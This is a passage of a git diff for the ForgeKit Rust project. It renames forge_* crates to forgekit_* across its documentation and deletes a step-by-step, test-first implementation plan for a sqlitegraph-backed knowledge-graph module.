result.failed_task.is_some() { ### Example 11: Checkpointing and Resume ```rust -use forge_agent::workflow::checkpoint::WorkflowCheckpointService; +use forgekit_agent::workflow::checkpoint::WorkflowCheckpointService; let checkpoint_service = WorkflowCheckpointService::new_default(); @@ -595,7 +599,7 @@ if resume_executor.can_resume() { ### Example 12: Tool Registry ```rust -use forge_agent::workflow::tools::{Tool, ToolRegistry, ToolInvocation}; +use forgekit_agent::workflow::tools::{Tool, ToolRegistry, ToolInvocation}; let mut registry = ToolRegistry::new(); registry.register(Tool::new("magellan", "/usr/bin/magellan") @@ -613,7 +617,7 @@ if result.result.success { ### Example 13: Cancellation ```rust -use forge_agent::workflow::cancellation::CancellationTokenSource; +use forgekit_agent::workflow::cancellation::CancellationTokenSource; let cancel_source = CancellationTokenSource::new(); let executor = WorkflowExecutor::new(workflow) diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 73b01ac..157aaea 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -24,9 +24,9 @@ ForgeKit aims to be "LLVM for AI Code Agents" - a deterministic, graph-backed re | Workspace structure | βœ… Done | P0 | | Core documentation | βœ… Done | P0 | | API design | 🚧 In Progress | P0 | -| forge_core stubs | πŸ“‹ Planned | P0 | -| forge_runtime stubs | πŸ“‹ Planned | P1 | -| forge_agent stubs | πŸ“‹ Planned | P2 | +| forgekit_core stubs | πŸ“‹ Planned | P0 | +| forgekit_runtime stubs | πŸ“‹ Planned | P1 | +| forgekit_agent stubs | πŸ“‹ Planned | P2 | #### Deliverables @@ -37,14 +37,14 @@ ForgeKit aims to be "LLVM for AI Code Agents" - a deterministic, graph-backed re - [x] DEVELOPMENT_WORKFLOW.md with process - [x] CONTRIBUTING.md with guidelines - [ ] Workspace Cargo.toml -- [ ] Basic forge_core structure +- [ ] Basic forgekit_core structure - [ ] Placeholder modules for graph/search/cfg/edit --- ### Milestone 0.2: Core SDK -**Goal**: Working forge_core with Magellan integration +**Goal**: Working forgekit_core with Magellan integration #### Status: πŸ“‹ Planned @@ -71,7 +71,7 @@ ForgeKit aims to be "LLVM for AI Code Agents" - a deterministic, graph-backed re ### Milestone 0.3: Runtime Layer -**Goal**: Indexing and caching with forge_runtime +**Goal**: Indexing and caching with forgekit_runtime #### Status: πŸ“‹ Planned @@ -95,7 +95,7 @@ ForgeKit aims to be "LLVM for AI Code Agents" - a deterministic, graph-backed re ### Milestone 0.4: Agent Layer -**Goal**: Deterministic AI loop with forge_agent +**Goal**: Deterministic AI loop with forgekit_agent #### Status: πŸ“‹ Planned diff --git a/docs/TESTING.md b/docs/TESTING.md index a460b7d..b9bcac2 100644 --- a/docs/TESTING.md +++ b/docs/TESTING.md @@ -17,7 +17,7 @@ Comprehensive testing documentation for ForgeKit developers. ``` forge/ -β”œβ”€β”€ forge_core/ +β”œβ”€β”€ forgekit_core/ β”‚ β”œβ”€β”€ src/ β”‚ β”‚ └── *.rs # Unit tests in #[cfg(test)] modules β”‚ └── tests/ @@ -25,10 +25,10 @@ forge/ β”‚ β”œβ”€β”€ builder_tests.rs # Builder pattern tests β”‚ β”œβ”€β”€ pubsub_integration_tests.rs # Pub/Sub + backends β”‚ └── tool_integration_tests.rs # Tool integrations -β”œβ”€β”€ forge_runtime/ +β”œβ”€β”€ forgekit_runtime/ β”‚ └── src/ β”‚ └── lib.rs # Embedded tests -β”œβ”€β”€ forge_agent/ +β”œβ”€β”€ forgekit_agent/ β”‚ └── src/ β”‚ └── *.rs # Embedded tests └── tests/ @@ -44,9 +44,9 @@ forge/ cargo test --workspace # Run tests for specific crate -cargo test -p forge_core -cargo test -p forge_runtime -cargo test -p forge-agent +cargo test -p forgekit_core +cargo test -p forgekit_runtime +cargo test -p forgekit-agent # Run with all features cargo test --workspace --all-features @@ -65,16 +65,16 @@ cargo test -- --nocapture ```bash # Test SQLite backend only -cargo test -p forge_core --features sqlite +cargo test -p forgekit_core --features sqlite # Test Native V3 backend only -cargo test -p forge_core --features native-v3 +cargo test -p forgekit_core --features native-v3 # Test with all tools on SQLite -cargo test -p forge_core --features tools-sqlite +cargo test -p forgekit_core --features tools-sqlite # Test with all tools on V3 -cargo test -p forge_core --features tools-v3 +cargo test -p forgekit_core --features tools-v3 # Test full stack with V3 cargo test --features full-v3 @@ -105,7 +105,7 @@ mod tests { Located in `tests/` directories: ```rust -// forge_core/tests/pubsub_integration_tests.rs +// forgekit_core/tests/pubsub_integration_tests.rs #[tokio::test] async fn test_backend_connection_sqlite() { let temp = create_test_repo().await; @@ -142,7 +142,7 @@ pub async fn open(path: impl AsRef) -> anyhow::Result { ```rust // 1. Imports -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; // 2. Helper functions async fn create_test_repo() -> tempfile::TempDir { @@ -211,23 +211,23 @@ async fn test_with_temp_dir() { ```bash # Test each tool individually -cargo test -p forge_core --features magellan-sqlite -cargo test -p forge_core --features llmgrep-sqlite -cargo test -p forge_core --features mirage-sqlite -cargo test -p forge_core --features splice-sqlite +cargo test -p forgekit_core --features magellan-sqlite +cargo test -p forgekit_core --features llmgrep-sqlite +cargo test -p forgekit_core --features mirage-sqlite +cargo test -p forgekit_core --features splice-sqlite # Test V3 variants -cargo test -p forge_core --features magellan-v3 -cargo test -p forge_core --features llmgrep-v3 -cargo test -p forge_core --features mirage-v3 -cargo test -p forge_core --features splice-v3 +cargo test -p forgekit_core --features magellan-v3 +cargo test -p forgekit_core --features llmgrep-v3 +cargo test -p forgekit_core --features mirage-v3 +cargo test -p forgekit_core --features splice-v3 ``` ### Testing Feature Combinations ```bash # Test mixed backends -cargo test -p forge_core --features "magellan-v3,llmgrep-sqlite" +cargo test -p forgekit_core --features "magellan-v3,llmgrep-sqlite" # Test full stacks cargo test --features full-sqlite @@ -349,16 +349,16 @@ strategy: include: - backend: sqlite features: minimal - test_cmd: "cargo test -p forge_core --features sqlite" + test_cmd: "cargo test -p forgekit_core --features sqlite" - backend: native-v3 features: minimal - test_cmd: "cargo test -p forge_core --features native-v3" + test_cmd: "cargo test -p forgekit_core --features native-v3" - backend: sqlite features: tools - test_cmd: "cargo test -p forge_core --features tools-sqlite" + test_cmd: "cargo test -p forgekit_core --features tools-sqlite" - backend: native-v3 features: tools - test_cmd: "cargo test -p forge_core --features tools-v3" + test_cmd: "cargo test -p forgekit_core --features tools-v3" - backend: native-v3 features: full test_cmd: "cargo test --features full-v3" @@ -429,7 +429,7 @@ RUST_LOG=debug cargo test rust-gdb --args cargo test test_name -- --exact # Set breakpoint -(gdb) break forge_core::storage::UnifiedGraphStore::open +(gdb) break forgekit_core::storage::UnifiedGraphStore::open (gdb) run ``` diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md index bc19197..da3bad1 100644 --- a/docs/TROUBLESHOOTING.md +++ b/docs/TROUBLESHOOTING.md @@ -21,7 +21,7 @@ Common issues and solutions for ForgeKit. **Solution:** ```toml [dependencies] -forge-core = { version = "0.2", features = ["native-v3"] } +forgekit-core = { version = "0.2", features = ["native-v3"] } ``` Or run tests with the feature: @@ -81,7 +81,7 @@ xxd .forge/graph.v3 | head -1 1. **Update sqlitegraph** (most common fix): ```toml [dependencies] - forge-core = "0.2" # Uses sqlitegraph 2.0.5+ + forgekit-core = "0.2" # Uses sqlitegraph 2.0.5+ ``` 2. **Force flush on drop**: @@ -171,7 +171,7 @@ match Forge::open("./project").await { **Solution:** ```toml [dependencies] -forge-core = { version = "0.2", features = ["magellan-sqlite"] } +forgekit-core = { version = "0.2", features = ["magellan-sqlite"] } ``` ### Mixed Backend Confusion @@ -182,20 +182,20 @@ forge-core = { version = "0.2", features = ["magellan-sqlite"] } ```toml # This won't work as expected: [dependencies] -forge-core = { version = "0.2", features = ["native-v3", "magellan-sqlite"] } +forgekit-core = { version = "0.2", features = ["native-v3", "magellan-sqlite"] } # Magellan will use SQLite, but core uses V3 ``` **Solution:** Use consistent backends: ```toml # Option 1: All V3 -forge-core = { version = "0.2", features = ["full-v3"] } +forgekit-core = { version = "0.2", features = ["full-v3"] } # Option 2: All SQLite -forge-core = { version = "0.2", features = ["full-sqlite"] } +forgekit-core = { version = "0.2", features = ["full-sqlite"] } # Option 3: Explicit mixed (if you really need it) -forge-core = { version = "0.2", default-features = false, +forgekit-core = { version = "0.2", default-features = false, features = ["sqlite", "magellan-v3", "llmgrep-sqlite"] } ``` @@ -207,11 +207,11 @@ forge-core = { version = "0.2", default-features = false, ```toml # Correct way to disable defaults [dependencies] -forge-core = { version = "0.2", default-features = false, +forgekit-core = { version = "0.2", default-features = false, features = ["sqlite", "magellan-sqlite"] } # Wrong - this disables ALL features -forge-core = { version = "0.2", features = [] } +forgekit-core = { version = "0.2", features = [] } ``` ## Pub/Sub Issues @@ -378,7 +378,7 @@ println!("Query took: {:?}", start.elapsed()); **Solution:** ```toml [dependencies] -forge-core = { version = "0.2", features = ["magellan-sqlite"] } +forgekit-core = { version = "0.2", features = ["magellan-sqlite"] } ``` Verify installation: @@ -538,7 +538,7 @@ If none of these solutions work: 3. **Check versions**: ```bash - cargo tree -p forge-core + cargo tree -p forgekit-core cargo tree -p sqlitegraph ``` @@ -580,10 +580,10 @@ rustc --version # Check features cargo metadata --format-version 1 | \ - jq '.packages[] | select(.name == "forge_core") | .features' + jq '.packages[] | select(.name == "forgekit_core") | .features' # Test basic functionality -cargo test -p forge_core --test pubsub_integration_tests +cargo test -p forgekit_core --test pubsub_integration_tests ``` --- diff --git a/docs/plan-graph-schema.md b/docs/plan-graph-schema.md index 6377e04..ad90cef 100644 --- a/docs/plan-graph-schema.md +++ b/docs/plan-graph-schema.md @@ -8,24 +8,24 @@ | Module | Key Types | File | Status | |--------|-----------|------|--------| -| Workflow DAG | `Workflow`, `TaskNode`, `TaskId` | `forge_agent/src/workflow/dag.rs` | Implemented | -| Task system | `TaskContext`, `TaskResult`, `Dependency` (Hard/Soft) | `forge_agent/src/workflow/task.rs` | Implemented | -| Workflow builder | `WorkflowBuilder` (fluent API) | `forge_agent/src/workflow/builder.rs` | Implemented | -| Executor | `WorkflowExecutor`, `WorkflowResult` | `forge_agent/src/workflow/executor.rs` | Implemented | -| State machine | `WorkflowState` | `forge_agent/src/workflow/state.rs` | Implemented | -| Checkpoints | `WorkflowCheckpoint`, `WorkflowCheckpointService` | `forge_agent/src/workflow/checkpoint.rs` | Implemented | -| Cancellation | `CancellationToken`, `CancellationTokenSource` | `forge_agent/src/workflow/cancellation.rs` | Implemented | -| Timeouts | `TaskTimeout`, `WorkflowTimeout`, `TimeoutConfig` | `forge_agent/src/workflow/timeout.rs` | Implemented | -| YAML config | `YamlWorkflow`, `YamlTask`, `YamlTaskParams` | `forge_agent/src/workflow/yaml.rs` | Implemented | -| Agent loop | `AgentLoop`, `AgentPhase` (6 phases) | `forge_agent/src/loop.rs` | Implemented | -| Agent phases | Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit | `forge_agent/src/loop.rs:19-39` | Implemented | -| Audit trail | `AuditEvent` (20 variants), `AuditLog` | `forge_agent/src/audit.rs` | Implemented | -| Policy | `PolicyValidator` | `forge_agent/src/policy.rs` | Implemented | -| Reasoning | `HypothesisBoard`, `Evidence`, `KnowledgeGapAnalyzer` | `forge-reasoning/src/` | Implemented | -| Dead code | `DeadCodeAnalyzer` | `forge_core/src/analysis/dead_code.rs` | Implemented | -| Complexity | `ComplexityMetrics`, `RiskLevel` | `forge_core/src/analysis/complexity.rs` | Implemented | -| CFG | `CfgModule`, `FunctionCfg`, `PathBuilder` | `forge_core/src/cfg/mod.rs` | Implemented | -| Metrics | `RuntimeMetrics`, `MetricKind`, `MetricsSummary` | `forge_runtime/src/metrics.rs` | Implemented | +| Workflow DAG | `Workflow`, `TaskNode`, `TaskId` | `forgekit_agent/src/workflow/dag.rs` | Implemented | +| Task system | `TaskContext`, `TaskResult`, `Dependency` (Hard/Soft) | `forgekit_agent/src/workflow/task.rs` | Implemented | +| Workflow builder | `WorkflowBuilder` (fluent API) | `forgekit_agent/src/workflow/builder.rs` | Implemented | +| Executor | `WorkflowExecutor`, `WorkflowResult` | `forgekit_agent/src/workflow/executor.rs` | Implemented | +| State machine | `WorkflowState` | `forgekit_agent/src/workflow/state.rs` | Implemented | +| Checkpoints | `WorkflowCheckpoint`, `WorkflowCheckpointService` | `forgekit_agent/src/workflow/checkpoint.rs` | Implemented | +| Cancellation | `CancellationToken`, `CancellationTokenSource` | `forgekit_agent/src/workflow/cancellation.rs` | Implemented | +| Timeouts | `TaskTimeout`, `WorkflowTimeout`, `TimeoutConfig` | `forgekit_agent/src/workflow/timeout.rs` | Implemented | +| YAML config | `YamlWorkflow`, `YamlTask`, `YamlTaskParams` | `forgekit_agent/src/workflow/yaml.rs` | Implemented | +| Agent loop | `AgentLoop`, `AgentPhase` (6 phases) | `forgekit_agent/src/loop.rs` | Implemented | +| Agent phases | Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit | `forgekit_agent/src/loop.rs:19-39` | Implemented | +| Audit trail | `AuditEvent` (20 variants), `AuditLog` | `forgekit_agent/src/audit.rs` | Implemented | +| Policy | `PolicyValidator` | `forgekit_agent/src/policy.rs` | Implemented | +| Reasoning | `HypothesisBoard`, `Evidence`, `KnowledgeGapAnalyzer` | `forgekit-reasoning/src/` | Implemented | +| Dead code | `DeadCodeAnalyzer` | `forgekit_core/src/analysis/dead_code.rs` | Implemented | +| Complexity | `ComplexityMetrics`, `RiskLevel` | `forgekit_core/src/analysis/complexity.rs` | Implemented | +| CFG | `CfgModule`, `FunctionCfg`, `PathBuilder` | `forgekit_core/src/cfg/mod.rs` | Implemented | +| Metrics | `RuntimeMetrics`, `MetricKind`, `MetricsSummary` | `forgekit_runtime/src/metrics.rs` | Implemented | **What does NOT exist yet:** - Quality gate definitions (no `Gate`, `GateResult`, `SemgrepRule`, `SemgrepFinding`) @@ -49,7 +49,7 @@ Before any code is written, the plan exists as a subgraph that the user can insp modify, and approve. During execution, nodes and edges are added. After delivery, the full graph is the proof of what happened and why. -**This schema extends the existing forge_agent types.** The `TaskId`, `Workflow`, +**This schema extends the existing forgekit_agent types.** The `TaskId`, `Workflow`, `AuditEvent`, and `AgentPhase` types already exist β€” the plan graph adds the layer above (requirements, decisions, gates) and below (edits, tool calls, findings). diff --git a/docs/superpowers/plans/2026-05-13-knowledge-graph.md b/docs/superpowers/plans/2026-05-13-knowledge-graph.md deleted file mode 100644 index 13d1786..0000000 --- a/docs/superpowers/plans/2026-05-13-knowledge-graph.md +++ /dev/null @@ -1,1882 +0,0 @@ -# Knowledge Graph Implementation Plan - -> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. - -**Goal:** Add a KnowledgeGraph module to forge_core backed by sqlitegraph native-v3, enabling graph traversal for code intelligence. - -**Architecture:** New `forge_core::knowledge` module owns a `.graph` file (sqlitegraph native-v3). Node kinds (symbol, file, discovery, etc.) are stored as `NodeSpec` with `kind` discriminator and JSON `data` properties. Edge kinds (calls, correlates, etc.) are `EdgeSpec` with `edge_type` strings. The Forge struct gets a `knowledge()` accessor. FTS5 in the existing Magellan `.db` bridges keyword lookups to graph node IDs. - -**Tech Stack:** Rust, sqlitegraph 2.2.4 (native-v3 feature), rusqlite (for FTS5 bridge), serde_json - -**Spec:** `docs/superpowers/specs/2026-05-13-knowledge-graph-design.md` - ---- - -## File Structure - -| File | Responsibility | -|------|---------------| -| `forge_core/Cargo.toml` | Add `native-v3` feature flag | -| `forge_core/src/knowledge/mod.rs` | KnowledgeGraph struct, lifecycle, CRUD, traversal, sync | -| `forge_core/src/knowledge/types.rs` | GraphNode, Direction, SyncReport, QueryResult, CfgBlockData, node/edge kind constants | -| `forge_core/src/lib.rs` | Add `pub mod knowledge;` + `knowledge()` accessor on Forge | - -No other files need modification. forge_agent integration is a separate plan. - ---- - -### Task 1: Cargo.toml + types.rs skeleton - -**Files:** -- Modify: `forge_core/Cargo.toml` -- Create: `forge_core/src/knowledge/types.rs` - -- [ ] **Step 1: Write the failing test** - -Create `forge_core/src/knowledge/types.rs` with the types and a basic test: - -```rust -//! Knowledge graph types β€” node kinds, edge kinds, query results. - -/// Node kind constants used as `NodeSpec::kind`. -pub mod node { - pub const SYMBOL: &str = "symbol"; - pub const FILE: &str = "file"; - pub const DISCOVERY: &str = "discovery"; - pub const CFG_BLOCK: &str = "cfg_block"; - pub const HOTSPOT: &str = "hotspot"; - pub const PATTERN: &str = "pattern"; - pub const ISSUE: &str = "issue"; - pub const KNOWLEDGE: &str = "knowledge"; -} - -/// Edge kind constants used as `EdgeSpec::edge_type`. -pub mod edge { - pub const CALLS: &str = "calls"; - pub const CONTAINS: &str = "contains"; - pub const REFERENCES: &str = "references"; - pub const CORRELATES: &str = "correlates"; - pub const AFFECTS: &str = "affects"; - pub const FLOWS_TO: &str = "flows_to"; - pub const SIMILAR_TO: &str = "similar_to"; - pub const DERIVED_FROM: &str = "derived_from"; - pub const DISCOVERED_BY: &str = "discovered_by"; - pub const MENTIONS: &str = "mentions"; - pub const BELONGS_TO: &str = "belongs_to"; -} - -/// Direction for graph traversal. -#[derive(Clone, Copy, Debug, PartialEq, Eq)] -pub enum Direction { - Incoming, - Outgoing, -} - -/// Wrapper around a sqlitegraph node with typed property accessors. -#[derive(Clone, Debug)] -pub struct GraphNode { - pub id: i64, - pub kind: String, - pub name: String, - pub file_path: Option, - pub data: serde_json::Value, -} - -impl GraphNode { - /// Creates a GraphNode from a sqlitegraph GraphEntity. - pub fn from_entity(id: i64, entity: &sqlitegraph::graph::GraphEntity) -> Self { - Self { - id, - kind: entity.kind.clone(), - name: entity.name.clone(), - file_path: entity.file_path.clone(), - data: entity.data.clone(), - } - } - - /// Returns a typed property from the data JSON. - pub fn prop(&self, key: &str) -> Option<&serde_json::Value> { - self.data.get(key) - } - - /// Returns a string property. - pub fn prop_str(&self, key: &str) -> Option<&str> { - self.data.get(key).and_then(|v| v.as_str()) - } - - /// Returns a number property. - pub fn prop_u64(&self, key: &str) -> Option { - self.data.get(key).and_then(|v| v.as_u64()) - } - - /// Returns a float property. - pub fn prop_f64(&self, key: &str) -> Option { - self.data.get(key).and_then(|v| v.as_f64()) - } -} - -/// Report returned after syncing symbols/references. -#[derive(Clone, Debug, Default, PartialEq, Eq)] -pub struct SyncReport { - pub nodes_added: usize, - pub nodes_updated: usize, - pub nodes_unchanged: usize, - pub edges_added: usize, - pub edges_updated: usize, -} - -/// Result of a graph query that starts from FTS5 and traverses. -#[derive(Clone, Debug, Default)] -pub struct QueryResult { - pub entry_node: Option, - pub callers: Vec, - pub callees: Vec, - pub correlated: Vec, - pub affected: Vec, - pub similar: Vec<(f64, GraphNode)>, -} - -/// Data for a CFG block node. -#[derive(Clone, Debug, PartialEq)] -pub struct CfgBlockData { - pub start_byte: u32, - pub end_byte: u32, - pub block_kind: String, - pub is_error: bool, -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_node_kind_constants() { - assert_eq!(node::SYMBOL, "symbol"); - assert_eq!(node::FILE, "file"); - assert_eq!(node::DISCOVERY, "discovery"); - assert_eq!(node::CFG_BLOCK, "cfg_block"); - assert_eq!(node::HOTSPOT, "hotspot"); - assert_eq!(node::PATTERN, "pattern"); - assert_eq!(node::ISSUE, "issue"); - assert_eq!(node::KNOWLEDGE, "knowledge"); - } - - #[test] - fn test_edge_kind_constants() { - assert_eq!(edge::CALLS, "calls"); - assert_eq!(edge::CONTAINS, "contains"); - assert_eq!(edge::CORRELATES, "correlates"); - assert_eq!(edge::AFFECTS, "affects"); - assert_eq!(edge::FLOWS_TO, "flows_to"); - assert_eq!(edge::SIMILAR_TO, "similar_to"); - assert_eq!(edge::DERIVED_FROM, "derived_from"); - assert_eq!(edge::DISCOVERED_BY, "discovered_by"); - assert_eq!(edge::MENTIONS, "mentions"); - assert_eq!(edge::BELONGS_TO, "belongs_to"); - } - - #[test] - fn test_graph_node_property_access() { - let node = GraphNode { - id: 1, - kind: node::SYMBOL.to_string(), - name: "my_func".to_string(), - file_path: Some("src/lib.rs".to_string()), - data: serde_json::json!({ - "symbol_kind": "Function", - "line": 42, - "complexity": 5 - }), - }; - - assert_eq!(node.prop_str("symbol_kind"), Some("Function")); - assert_eq!(node.prop_u64("line"), Some(42)); - assert_eq!(node.prop_f64("complexity"), None); // it's an integer in JSON - assert_eq!(node.prop_str("nonexistent"), None); - } - - #[test] - fn test_sync_report_default() { - let report = SyncReport::default(); - assert_eq!(report.nodes_added, 0); - assert_eq!(report.edges_added, 0); - } - - #[test] - fn test_cfg_block_data() { - let block = CfgBlockData { - start_byte: 100, - end_byte: 200, - block_kind: "Basic".to_string(), - is_error: false, - }; - assert_eq!(block.start_byte, 100); - assert!(!block.is_error); - } - - #[test] - fn test_direction_enum() { - assert_ne!(Direction::Incoming, Direction::Outgoing); - } -} -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib knowledge::types::tests -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” module `knowledge` does not exist yet. - -- [ ] **Step 3: Add native-v3 feature to Cargo.toml and create the module skeleton** - -Modify `forge_core/Cargo.toml` β€” add to `[features]` section: - -```toml -# In [features], add after existing features: -native-v3 = ["dep:sqlitegraph", "sqlitegraph/native-v3"] -``` - -Change the existing sqlite line to remove the dep: prefix duplication: - -```toml -# Change: -sqlite = ["dep:sqlitegraph", "sqlitegraph/sqlite-backend"] -# To (stays the same, just ensure native-v3 is also available): -``` - -The `[features]` section should have both: - -```toml -sqlite = ["dep:sqlitegraph", "sqlitegraph/sqlite-backend"] -native-v3 = ["dep:sqlitegraph", "sqlitegraph/native-v3"] -``` - -Create `forge_core/src/knowledge/mod.rs` (empty module to start): - -```rust -//! Knowledge graph β€” sqlitegraph native-v3 backed graph for code intelligence. - -pub mod types; - -pub use types::*; -``` - -Add to `forge_core/src/lib.rs` β€” add after the existing module declarations (around line 20, after `pub mod treesitter;`): - -```rust -// Knowledge graph module (sqlitegraph native-v3) -pub mod knowledge; -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib knowledge::types::tests -- --nocapture` -Expected: 6 tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/Cargo.toml forge_core/src/knowledge/ forge_core/src/lib.rs -git commit -m "feat(forge_core): add knowledge module skeleton with types - -Node kind constants (symbol, file, discovery, cfg_block, hotspot, -pattern, issue, knowledge), edge kind constants (calls, contains, -correlates, affects, flows_to, similar_to, derived_from, discovered_by, -mentions, belongs_to), GraphNode wrapper, SyncReport, QueryResult, -CfgBlockData, Direction enum. Native-v3 feature flag on Cargo.toml." -``` - ---- - -### Task 2: KnowledgeGraph lifecycle (open/close) - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing test** - -Add to `forge_core/src/knowledge/mod.rs` after the module declarations: - -```rust -use std::path::{Path, PathBuf}; - -use crate::error::{ForgeError, Result}; -use sqlitegraph::backend::GraphBackend; -use sqlitegraph::config::{open_graph, BackendKind as SqlBackendKind, GraphConfig}; - -/// Knowledge graph backed by sqlitegraph native-v3. -/// -/// Stores typed nodes (symbols, files, discoveries, patterns, issues, -/// CFG blocks, hotspots, knowledge entries) and typed edges (calls, -/// correlates, affects, flows_to, etc.) in a `.graph` binary file. -pub struct KnowledgeGraph { - backend: Box, - graph_path: PathBuf, - db_path: PathBuf, -} - -impl KnowledgeGraph { - /// Opens or creates a knowledge graph. - /// - /// The `.graph` file is created at `graph_path` using sqlitegraph - /// native-v3 backend. The `db_path` points to the Magellan `.db` - /// for FTS5 bridge lookups. - pub fn open(graph_path: &Path, db_path: &Path) -> Result { - let config = GraphConfig::native(); - let backend = open_graph(graph_path, &config).map_err(|e| { - ForgeError::DatabaseError(format!("Failed to open knowledge graph: {}", e)) - })?; - - Ok(Self { - backend, - graph_path: graph_path.to_path_buf(), - db_path: db_path.to_path_buf(), - }) - } - - /// Returns the path to the .graph file. - pub fn graph_path(&self) -> &Path { - &self.graph_path - } - - /// Returns the path to the Magellan .db. - pub fn db_path(&self) -> &Path { - &self.db_path - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_knowledge_graph_open_creates_file() { - let temp = tempfile::tempdir().unwrap(); - let graph_path = temp.path().join("knowledge.graph"); - let db_path = temp.path().join("magellan.db"); - - let kg = KnowledgeGraph::open(&graph_path, &db_path).unwrap(); - - assert!(graph_path.exists()); - assert_eq!(kg.graph_path(), graph_path); - assert_eq!(kg.db_path(), db_path); - } - - #[test] - fn test_knowledge_graph_open_creates_parent_dirs() { - let temp = tempfile::tempdir().unwrap(); - let graph_path = temp.path().join("nested").join("dir").join("kg.graph"); - let db_path = temp.path().join("magellan.db"); - - // Create parent dirs if needed - if let Some(parent) = graph_path.parent() { - std::fs::create_dir_all(parent).unwrap(); - } - - let kg = KnowledgeGraph::open(&graph_path, &db_path).unwrap(); - assert!(graph_path.exists()); - } - - #[test] - fn test_knowledge_graph_open_existing_file() { - let temp = tempfile::tempdir().unwrap(); - let graph_path = temp.path().join("kg.graph"); - let db_path = temp.path().join("magellan.db"); - - // Create it once - { - let _kg = KnowledgeGraph::open(&graph_path, &db_path).unwrap(); - } - - // Open again β€” should work - let _kg2 = KnowledgeGraph::open(&graph_path, &db_path).unwrap(); - assert!(graph_path.exists()); - } -} -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib knowledge::tests::test_knowledge_graph -- --nocapture 2>&1 | tail -10` -Expected: FAIL β€” `GraphConfig::native()` may not exist or compile issues. - -- [ ] **Step 3: Implement minimal code** - -The code in Step 1 IS the implementation. Verify `GraphConfig::native()` exists: - -```rust -// sqlitegraph's GraphConfig has a native() constructor: -let config = GraphConfig::native(); -// This sets backend = BackendKind::Native -``` - -If it doesn't exist, use: - -```rust -let config = GraphConfig { - backend: SqlBackendKind::Native, - ..Default::default() -}; -``` - -Also need to ensure `forge_core/Cargo.toml` has the native-v3 feature enabled for the test. Run with: - -```bash -cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_knowledge_graph -- --nocapture -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_knowledge_graph -- --nocapture` -Expected: 3 tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs -git commit -m "feat(forge_core): KnowledgeGraph open/close lifecycle - -Opens .graph file with sqlitegraph native-v3 backend. Stores paths -to both the graph file and the Magellan .db for FTS5 bridge." -``` - ---- - -### Task 3: Node CRUD operations - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing tests** - -Add these tests to the `mod tests` block in `forge_core/src/knowledge/mod.rs`: - -```rust - #[test] - fn test_add_symbol_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg - .add_symbol( - "my_func", - "Function", - "crate::module::my_func", - "src/lib.rs", - 42, - 100, - 200, - "Rust", - None, - ) - .unwrap(); - - assert!(id > 0); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "symbol"); - assert_eq!(node.name, "my_func"); - assert_eq!(node.prop_str("symbol_kind"), Some("Function")); - assert_eq!(node.prop_str("qualified_name"), Some("crate::module::my_func")); - assert_eq!(node.prop_str("file"), Some("src/lib.rs")); - assert_eq!(node.prop_u64("line"), Some(42)); - } - - #[test] - fn test_add_file_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg - .add_file("src/lib.rs", "Rust", "abc123") - .unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "file"); - assert_eq!(node.name, "src/lib.rs"); - assert_eq!(node.prop_str("language"), Some("Rust")); - assert_eq!(node.prop_str("hash"), Some("abc123")); - } - - #[test] - fn test_add_discovery_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg - .add_discovery( - "claude1", - "Symbol", - "my_func", - serde_json::json!({"complexity": 8}), - ) - .unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "discovery"); - assert_eq!(node.name, "my_func"); - assert_eq!(node.prop_str("agent"), Some("claude1")); - assert_eq!(node.prop_str("discovery_type"), Some("Symbol")); - } - - #[test] - fn test_add_issue_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg - .add_issue("high", "unwrap in production code", Some("M001")) - .unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "issue"); - assert_eq!(node.prop_str("severity"), Some("high")); - assert_eq!(node.prop_str("description"), Some("unwrap in production code")); - assert_eq!(node.prop_str("rule_id"), Some("M001")); - } - - #[test] - fn test_add_pattern_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg - .add_pattern("builder", 0.92, "builder pattern detected") - .unwrap(); - - let node = kg.get_node(id).unwrap(); - 